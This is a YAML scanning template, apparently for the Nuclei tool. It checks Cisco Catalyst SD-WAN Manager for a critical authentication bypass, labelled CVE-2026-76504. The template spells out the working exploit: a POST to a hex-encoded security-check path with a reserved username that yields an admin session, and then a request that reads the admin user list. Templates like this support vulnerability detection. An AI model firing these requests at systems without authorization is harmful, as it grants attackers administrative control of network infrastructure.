id: CVE-2026-76504

info:
  name: "Cisco - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A vulnerability in the API session-based authentication management of Cisco Catalyst SD-WAN Manager could
    allow an unauthenticated, remote attacker to access an affected system with privileges of the admin user. This
    vulnerability is due to improper handling of URI encoding in an HTTP request, which allows the request to
    bypass an authentication rule that is intended to restrict access to a specific API endpoint.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-76504&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=cisco&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-76504
    cwe-id: CWE-177
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2026,cisco,sdwan,vmanage,auth-bypass,kev

http:
  - raw:
      # 1) bypass the auth rule via the hex-encoded path; the reserved user skips the password check
      - |
        POST /%6a_security_check HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        j_username=viptela-reserved-cloudops&j_password={{randstr}}

      # 2) read-only confirmation that the minted session reaches the admin API
      - |
        GET /dataservice/admin/user HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200"
          - "contains(header_1, 'JSESSIONID=')"
          - "status_code_2 == 200"
          - "contains(body_2, 'userName')"
          - "!contains(body_2, 'Access forbidden')"
        condition: and